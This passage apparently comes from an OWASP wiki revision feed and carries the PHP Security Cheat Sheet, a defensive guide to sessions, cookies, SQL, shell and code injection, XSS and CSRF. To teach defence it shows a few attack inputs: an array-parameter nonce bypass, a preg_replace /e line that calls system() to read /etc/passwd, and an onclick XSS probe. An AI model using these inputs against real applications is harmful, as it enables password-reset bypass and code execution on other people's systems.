&lt;br /&gt;
====Inactivity Timeout====&lt;br /&gt;
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria. &lt;br /&gt;
&lt;br /&gt;
This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.&lt;br /&gt;
&lt;br /&gt;
====General Timeout====&lt;br /&gt;
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Cookies===&lt;br /&gt;
Handling cookies in a PHP script has some tricks to it:&lt;br /&gt;
&lt;br /&gt;
====Never Serialize====&lt;br /&gt;
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.&lt;br /&gt;
&lt;br /&gt;
====Proper Deletion====&lt;br /&gt;
To delete a cookie safely, use the following snippet:&lt;br /&gt;
&lt;br /&gt;
 setcookie ($name, &amp;quot;&amp;quot;, 1);&lt;br /&gt;
 setcookie ($name, false);&lt;br /&gt;
 unset($_COOKIE[$name]);&lt;br /&gt;
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.&lt;br /&gt;
&lt;br /&gt;
You can also use '''session_name()''' to retrieve the name default PHP session cookie.&lt;br /&gt;
&lt;br /&gt;
====HTTP Only====&lt;br /&gt;
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not JavaScript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to JavaScript.&lt;br /&gt;
&lt;br /&gt;
To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):&lt;br /&gt;
 &lt;br /&gt;
 #prototype&lt;br /&gt;
 bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )&lt;br /&gt;
&lt;br /&gt;
 #usage&lt;br /&gt;
 if (!setcookie(&amp;quot;MySessionID&amp;quot;, $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))&lt;br /&gt;
     echo (&amp;quot;could not set HTTP-only cookie&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:&lt;br /&gt;
&lt;br /&gt;
 $r=setcookie(&amp;quot;SECSESSID&amp;quot;,&amp;quot;1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973&amp;quot;,time()+60*60*24*7 /*a week*/,&amp;quot;/&amp;quot;,&amp;quot;owasp.org&amp;quot;,true,true);&lt;br /&gt;
 if (!$r) die(&amp;quot;Could not set session cookie.&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
====Internet Explorer issues====&lt;br /&gt;
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.&lt;br /&gt;
&lt;br /&gt;
==Authentication==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Remember Me===&lt;br /&gt;
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.&lt;br /&gt;
&lt;br /&gt;
It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.&lt;br /&gt;
&lt;br /&gt;
* '''Never store username/password or any relevant information in the cookie.'''&lt;br /&gt;
&lt;br /&gt;
=Configuration and Deployment Cheat Sheet=&lt;br /&gt;
Please see [[PHP Configuration Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])&lt;br /&gt;
&lt;br /&gt;
[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]&lt;br /&gt;
&lt;br /&gt;
[mailto:vanderaj@owasp.org Andrew van der Stock]&lt;br /&gt;
&lt;br /&gt;
[mailto:L.Plant.98@cantab.net Luke Plant]&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Luke Plant</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=196353</id>
		<title>PHP Security Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=196353"/>
				<updated>2015-06-19T09:14:50Z</updated>
		
		<summary type="html">&lt;p&gt;Luke Plant: /* URL routing */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Introduction  =&lt;br /&gt;
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.&lt;br /&gt;
&lt;br /&gt;
==PHP overview==&lt;br /&gt;
&lt;br /&gt;
PHP is the most commonly used server-side programming language, with 81.8% of web servers deploying it, according to W3 Techs.&lt;br /&gt;
&lt;br /&gt;
An open source technology, PHP is unusual in that it is both a language ''and'' a web framework, with typical web framework features built-in to the language. Like all web languages, there is also a large community of libraries etc. that contribute to the security (or otherwise) of programming in PHP. All three aspects (language, framework, and libraries) need to be taken into consideration when trying to secure a PHP site.&lt;br /&gt;
&lt;br /&gt;
PHP is a 'grown' language rather than deliberately engineered, making writing insecure PHP applications far too easy and common. If you want to use PHP securely, then you should be aware of all its pitfalls.&lt;br /&gt;
&lt;br /&gt;
===Language issues===&lt;br /&gt;
&lt;br /&gt;
====Weak typing====&lt;br /&gt;
&lt;br /&gt;
PHP is weakly typed, which means that it will automatically convert data of an incorrect type into the expected type. This feature very often masks errors by the developer or injections of unexpected data, leading to vulnerabilities (see “Input handling” below for an example).&lt;br /&gt;
&lt;br /&gt;
Try to use functions and operators that do not do implicit type conversions (e.g. &amp;lt;code&amp;gt;===&amp;lt;/code&amp;gt; and not &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt;). Not all operators have strict versions (for example greater than and less than), and many built-in functions (like &amp;lt;code&amp;gt;in_array&amp;lt;/code&amp;gt;) use weakly typed comparison functions by default, making it difficult to write correct code.&lt;br /&gt;
&lt;br /&gt;
====Exceptions and error handling====&lt;br /&gt;
&lt;br /&gt;
Almost all PHP builtins, and many PHP libraries, do not use exceptions, but instead report errors in other ways (such as via notices) that allow the faulty code to carry on running. This has the effect of masking many bugs. In many other languages, and most high level languages that compete with PHP, error conditions that are caused by developer errors, or runtime errors that the developer has failed to anticipate, will cause the program to stop running, which is the safest thing to do.&lt;br /&gt;
&lt;br /&gt;
Consider the following code which attempts to limit access to a certain function using a database query that checks to see if the username is on a black list:&lt;br /&gt;
&lt;br /&gt;
    $db_link = mysqli_connect('localhost', 'dbuser', 'dbpassword', 'dbname');&lt;br /&gt;
&lt;br /&gt;
    function can_access_feature($current_user) {&lt;br /&gt;
        global $db_link;&lt;br /&gt;
        $username = mysqli_real_escape_string($db_link, $current_user-&amp;gt;username);&lt;br /&gt;
        $res = mysqli_query($db_link, &amp;quot;SELECT COUNT(id) FROM blacklisted_users WHERE username = '$username';&amp;quot;);&lt;br /&gt;
        $row = mysqli_fetch_array($res);&lt;br /&gt;
        if ((int)$row[0] &amp;gt; 0) {&lt;br /&gt;
            return false;&lt;br /&gt;
        } else {&lt;br /&gt;
            return true;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    if (!can_access_feature($current_user)) {&lt;br /&gt;
        exit();&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    // Code for feature here&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There are various runtime errors that could occur in this - for example, the database connection could fail, due to a wrong password or the server being down etc., or the connection could be closed by the server after it was opened client side. In these cases, by default the &amp;lt;code&amp;gt;mysqli_&amp;lt;/code&amp;gt; functions will issue warnings or notices, but will not throw exceptions or fatal errors. This means that the code simply carries on! The variable &amp;lt;code&amp;gt;$row&amp;lt;/code&amp;gt; becomes &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt;, and PHP will evaluate &amp;lt;code&amp;gt;$row[0]&amp;lt;/code&amp;gt; also as &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt;, and &amp;lt;code&amp;gt;(int)$row[0]&amp;lt;/code&amp;gt; as &amp;lt;code&amp;gt;0&amp;lt;/code&amp;gt;, due to weak typing. Eventually the &amp;lt;code&amp;gt;can_access_feature&amp;lt;/code&amp;gt; function returns &amp;lt;code&amp;gt;true&amp;lt;/code&amp;gt;, giving access to all users, whether they are on the blacklist or not.&lt;br /&gt;
&lt;br /&gt;
If these native database APIs are used, error checking should be added at every point. However, since this requires additional work, and is easily missed, this is insecure by default. It also requires a lot of boilerplate.&lt;br /&gt;
This is why accessing a database should always be done by using [http://php.net/manual/en/intro.pdo.php PHP Data Objects (PDO)] specified with the [http://php.net/manual/en/pdo.error-handling.php ERRMODE_WARNING or ERRMODE_EXCEPTION flags] unless there is a clearly compelling reason to use native drivers and careful error checking.&lt;br /&gt;
&lt;br /&gt;
It is often best to turn up error reporting as high as possible using the&lt;br /&gt;
[http://www.php.net/manual/en/function.error-reporting.php error_reporting] function, and never attempt to suppress error messages — always follow the warnings and write code that is more robust.&lt;br /&gt;
&lt;br /&gt;
====php.ini====&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP code often depends strongly on the values of many configuration settings, including fundamental changes to things like how errors are handled. This can make it very difficult to write code that works correctly in all circumstances. Different libraries can have different expectations or requirements about these settings, making it difficult to correctly use 3rd party code. Some are mentioned below under “Configuration.”&lt;br /&gt;
&lt;br /&gt;
====Unhelpful builtins====&lt;br /&gt;
&lt;br /&gt;
PHP comes with many built-in functions, such as &amp;lt;code&amp;gt;addslashes&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mysql_escape_string&amp;lt;/code&amp;gt; and&lt;br /&gt;
&amp;lt;code&amp;gt;mysql_real_escape_string&amp;lt;/code&amp;gt;, that appear to provide security, but are often buggy and, in fact, are unhelpful ways to deal with security problems. Some of these built-ins are being deprecated and removed, but due to backwards compatibility policies this takes a long time.&lt;br /&gt;
&lt;br /&gt;
PHP also provides an 'array' data structure, which is used extensively in all PHP code and internally, that is a confusing mix between an array and a dictionary. This confusion can cause even experienced PHP developers to introduce critical security vulnerabilities such as [https://www.drupal.org/SA-CORE-2014-005 Drupal SA-CORE-2014-005] (see [http://cgit.drupalcode.org/drupal/commit/?id=26a7752c34321fd9cb889308f507ca6bdb777f08 the patch]).&lt;br /&gt;
&lt;br /&gt;
===Framework issues===&lt;br /&gt;
&lt;br /&gt;
====URL routing====&lt;br /&gt;
&lt;br /&gt;
PHP’s built-in URL routing mechanism is to use files ending in “.php” in the directory structure. This opens up several vulnerabilities:&lt;br /&gt;
&lt;br /&gt;
* Remote execution vulnerability for every file upload feature that does not sanitise the filename. (In other words, the web server executes something instead of serving it). Ensure that when saving uploaded files, the content and filename are appropriately sanitised.&lt;br /&gt;
&lt;br /&gt;
* Source code, including config files, are stored in publicly accessible directories along with files that are meant to be downloaded (such as static  assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. (In other words, the web server serves a resource which should have been private or executable only). You can use &amp;lt;code&amp;gt;.htaccess&amp;lt;/code&amp;gt; to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.&lt;br /&gt;
&lt;br /&gt;
* The URL routing mechanism is the same as the module system. This means it is often possible for attackers to use files as entry points which were not designed as such. This can open up vulnerabilities where authentication mechanisms are bypassed entirely - a simple refactoring that pulls code out into a separate file can open a vulnerability. This is made particularly easy in PHP because it has globally accessible request data ($_GET etc), so file-level code can be imperative code that operates on the request, rather than needing request handling code to be within function definitions.&lt;br /&gt;
&lt;br /&gt;
* The lack of a proper URL routing mechanism often leads to developers creating their own ad-hoc methods. These are often insecure and fail to apply appropriate authorization restrictions on different request handling functionality.&lt;br /&gt;
&lt;br /&gt;
====Input handling====&lt;br /&gt;
&lt;br /&gt;
Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a &amp;quot;one time nonce&amp;quot; mechanism that might be used, for example in a password reset code:&lt;br /&gt;
&lt;br /&gt;
    $supplied_nonce = $_GET['nonce'];&lt;br /&gt;
    $correct_nonce = get_correct_value_somehow();&lt;br /&gt;
    &lt;br /&gt;
    if (strcmp($supplied_nonce, $correct_nonce) == 0) {&lt;br /&gt;
        // Go ahead and reset the password&lt;br /&gt;
    } else {&lt;br /&gt;
        echo 'Sorry, incorrect link';&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
If an attacker uses a querystring like this:&lt;br /&gt;
&lt;br /&gt;
    http://example.com/?nonce[]=a&lt;br /&gt;
&lt;br /&gt;
then we end up with &amp;lt;code&amp;gt;$supplied_nonce&amp;lt;/code&amp;gt; being an array. The function &amp;lt;code&amp;gt;strcmp()&amp;lt;/code&amp;gt; will then return &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt; (instead of throwing an exception, which would be much more useful), and then, due to weak typing and the use of the &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt; (equality) operator instead of the &amp;lt;code&amp;gt;===&amp;lt;/code&amp;gt; (identity) operator, the comparison succeeds (since the expression &amp;lt;code&amp;gt;NULL == 0&amp;lt;/code&amp;gt; is true according to PHP), and the attacker will be able to reset the password without providing a correct nonce.&lt;br /&gt;
&lt;br /&gt;
Exactly the same issue, combined with the confusion of PHP's 'array' data structure, can be exploited in issues such as [https://www.drupal.org/SA-CORE-2014-005 Drupal SA-CORE-2014-005] - see [http://www.zoubi.me/blog/drupageddon-sa-core-2014-005-drupal-7-sql-injection-exploit-demo example exploit].&lt;br /&gt;
&lt;br /&gt;
====Template language====&lt;br /&gt;
&lt;br /&gt;
PHP is essentially a template language. However, it doesn't do HTML escaping by&lt;br /&gt;
default, which makes it very problematic for use in a web application - see&lt;br /&gt;
section on XSS below.&lt;br /&gt;
&lt;br /&gt;
====Other inadequacies====&lt;br /&gt;
&lt;br /&gt;
There are other important things that a web framework should supply, such as a&lt;br /&gt;
CSRF protection mechanism that is on by default. Because PHP comes with a&lt;br /&gt;
rudimentary web framework that is functional enough to allow people to create&lt;br /&gt;
web sites, many people will do so without any knowledge that they need CSRF&lt;br /&gt;
protection.&lt;br /&gt;
&lt;br /&gt;
===Third party PHP code===&lt;br /&gt;
&lt;br /&gt;
Libraries and projects written in PHP are often insecure due to the problems&lt;br /&gt;
highlighted above, especially when proper web frameworks are not used. Do not&lt;br /&gt;
trust PHP code that you find on the web, as many security vulnerabilities can&lt;br /&gt;
hide in seemingly innocent code.&lt;br /&gt;
&lt;br /&gt;
Poorly written PHP code often results in warnings being emitted, which can cause&lt;br /&gt;
problems. A common solution is to turn off all notices, which is exactly the opposite&lt;br /&gt;
of what ought to be done (see above), and leads to progressively worse code.&lt;br /&gt;
&lt;br /&gt;
==Update PHP Now==&lt;br /&gt;
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''&lt;br /&gt;
&lt;br /&gt;
Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.&lt;br /&gt;
&lt;br /&gt;
=Configuration=&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP is strongly affected by configuration, which can be done through the &amp;quot;php.ini&amp;quot; file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php&lt;br /&gt;
&lt;br /&gt;
There are many security related configuration options. Some are listed below:&lt;br /&gt;
&lt;br /&gt;
==SetHandler==&lt;br /&gt;
&lt;br /&gt;
PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name &amp;quot;foo.php.txt&amp;quot; will be handled as PHP code, which can be a very serious remote execution vulnerability if &amp;quot;foo.php.txt&amp;quot; was not intended to be executed (e.g. example code) or came from a malicious file upload.&lt;br /&gt;
&lt;br /&gt;
=Untrusted data=&lt;br /&gt;
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.&lt;br /&gt;
&lt;br /&gt;
Super globals which are not to be trusted are &amp;lt;code&amp;gt;$_SERVER&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;$_GET&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;$_POST&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;$_REQUEST&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;$_FILES&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;$_COOKIE&amp;lt;/code&amp;gt;. Not all data in &amp;lt;code&amp;gt;$_SERVER&amp;lt;/code&amp;gt; can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with &amp;lt;code&amp;gt;HTTP_&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
==File uploads==&lt;br /&gt;
&lt;br /&gt;
Files received from a user pose various security threats, especially if other users can download these files. In particular:&lt;br /&gt;
&lt;br /&gt;
* Any file served as HTML can be used to do an XSS attack&lt;br /&gt;
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.&lt;br /&gt;
&lt;br /&gt;
Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.&lt;br /&gt;
&lt;br /&gt;
==Common mistakes on the processing of $_FILES array==&lt;br /&gt;
It is common to find code snippets online doing something similar to the following code:&lt;br /&gt;
&lt;br /&gt;
    if ($_FILES['some_name']['type'] == 'image/jpeg') {  &lt;br /&gt;
        //Proceed to accept the file as a valid image&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.&lt;br /&gt;
&lt;br /&gt;
    $finfo = new finfo(FILEINFO_MIME_TYPE);&lt;br /&gt;
    $fileContents = file_get_contents($_FILES['some_name']['tmp_name']);&lt;br /&gt;
    $mimeType = $finfo-&amp;gt;buffer($fileContents);&lt;br /&gt;
&lt;br /&gt;
Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.&lt;br /&gt;
&lt;br /&gt;
==Use of $_REQUEST==&lt;br /&gt;
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. All of this data is combined into one array, making it almost impossible to determine the source of the data. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.&lt;br /&gt;
&lt;br /&gt;
=Database Cheat Sheet=&lt;br /&gt;
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:&lt;br /&gt;
&lt;br /&gt;
==Never concatenate or interpolate data in SQL==&lt;br /&gt;
&lt;br /&gt;
Never build up a string of SQL that includes user data, either by concatenation:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '&amp;quot; . $username . &amp;quot;';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
or interpolation, which is essentially the same:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '$username';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc. Using prepared statements and bound parameters is a much better solution. PHP's [mysqli](http://php.net/mysqli) and [PDO](http://php.net/pdo) functionality includes this feature (see below).&lt;br /&gt;
&lt;br /&gt;
==Escaping is not safe== &lt;br /&gt;
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.&lt;br /&gt;
&lt;br /&gt;
'''Why:'''&lt;br /&gt;
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).&lt;br /&gt;
&lt;br /&gt;
==Use Prepared Statements==&lt;br /&gt;
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was. &lt;br /&gt;
&lt;br /&gt;
See the PHP docs on [http://php.net/manual/en/mysqli.quickstart.prepared-statements.php MySQLi prepared statements] and [http://php.net/manual/en/pdo.prepare.php PDO prepared statements]&lt;br /&gt;
&lt;br /&gt;
===Where prepared statements do not work===&lt;br /&gt;
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. Additionally, they cannot be used for things like table names or columns in `SELECT` statements. In these cases, you should use query builder that is provided by a framework, if available. If not, several packages are available for use via [http://getcomposer.org Composer] and [http://packagist.org Packagist] Do not roll your own.&lt;br /&gt;
&lt;br /&gt;
==ORM==&lt;br /&gt;
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.&lt;br /&gt;
&lt;br /&gt;
Always be sure to evaluate the code of *any* ORM you use to validate how it handles the execution of the SQL it generates. Ensure it does not concatenate the values and instead uses prepared statements internally as well as following good security practices.&lt;br /&gt;
&lt;br /&gt;
==Encoding Issues==&lt;br /&gt;
&lt;br /&gt;
===Use UTF-8 unless necessary===&lt;br /&gt;
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Other Injection Cheat Sheet=&lt;br /&gt;
SQL aside, there are a few more injections possible ''and common'' in PHP:&lt;br /&gt;
&lt;br /&gt;
==Shell Injection==&lt;br /&gt;
A few PHP functions namely&lt;br /&gt;
&lt;br /&gt;
* shell_exec&lt;br /&gt;
* exec&lt;br /&gt;
* passthru&lt;br /&gt;
* system&lt;br /&gt;
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )&lt;br /&gt;
&lt;br /&gt;
run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.&lt;br /&gt;
&lt;br /&gt;
Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Code Injection==&lt;br /&gt;
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().&lt;br /&gt;
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.&lt;br /&gt;
&lt;br /&gt;
Function preg_replace() should not be used with unsanitised user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].&lt;br /&gt;
&lt;br /&gt;
    preg_replace(&amp;quot;/.*/e&amp;quot;,&amp;quot;system('echo /etc/passwd')&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.&lt;br /&gt;
 &lt;br /&gt;
==Other Injections==&lt;br /&gt;
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=XSS Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
There are two scenarios when it comes to XSS, each one to be mitigated accordingly:&lt;br /&gt;
&lt;br /&gt;
== No Tags ==&lt;br /&gt;
&lt;br /&gt;
Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.&lt;br /&gt;
&lt;br /&gt;
If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.&lt;br /&gt;
&lt;br /&gt;
Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.&lt;br /&gt;
&lt;br /&gt;
If you cannot switch to a secure template engine, you can use the function below on all untrusted data.&lt;br /&gt;
&lt;br /&gt;
'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.&lt;br /&gt;
&lt;br /&gt;
 //xss mitigation functions&lt;br /&gt;
 function xssafe($data,$encoding='UTF-8')&lt;br /&gt;
 {&lt;br /&gt;
    return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);&lt;br /&gt;
 }&lt;br /&gt;
 function xecho($data)&lt;br /&gt;
 {&lt;br /&gt;
    echo xssafe($data);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
 //usage example&lt;br /&gt;
 &amp;lt;input type='text' name='test' value='&amp;lt;?php &lt;br /&gt;
 xecho (&amp;quot;' onclick='alert(1)&amp;quot;);&lt;br /&gt;
 ?&amp;gt;' /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Untrusted Tags==&lt;br /&gt;
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.&lt;br /&gt;
&lt;br /&gt;
==Templating engines==&lt;br /&gt;
&lt;br /&gt;
There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.&lt;br /&gt;
&lt;br /&gt;
Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.&lt;br /&gt;
&lt;br /&gt;
==Other Tips==&lt;br /&gt;
&lt;br /&gt;
* Don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with a secure template engine.&lt;br /&gt;
&lt;br /&gt;
* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)&lt;br /&gt;
&lt;br /&gt;
* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.&lt;br /&gt;
&lt;br /&gt;
* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.&lt;br /&gt;
&lt;br /&gt;
* Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256&lt;br /&gt;
&lt;br /&gt;
* Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.&lt;br /&gt;
&lt;br /&gt;
=CSRF Cheat Sheet=&lt;br /&gt;
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:&lt;br /&gt;
&lt;br /&gt;
* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.&lt;br /&gt;
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.&lt;br /&gt;
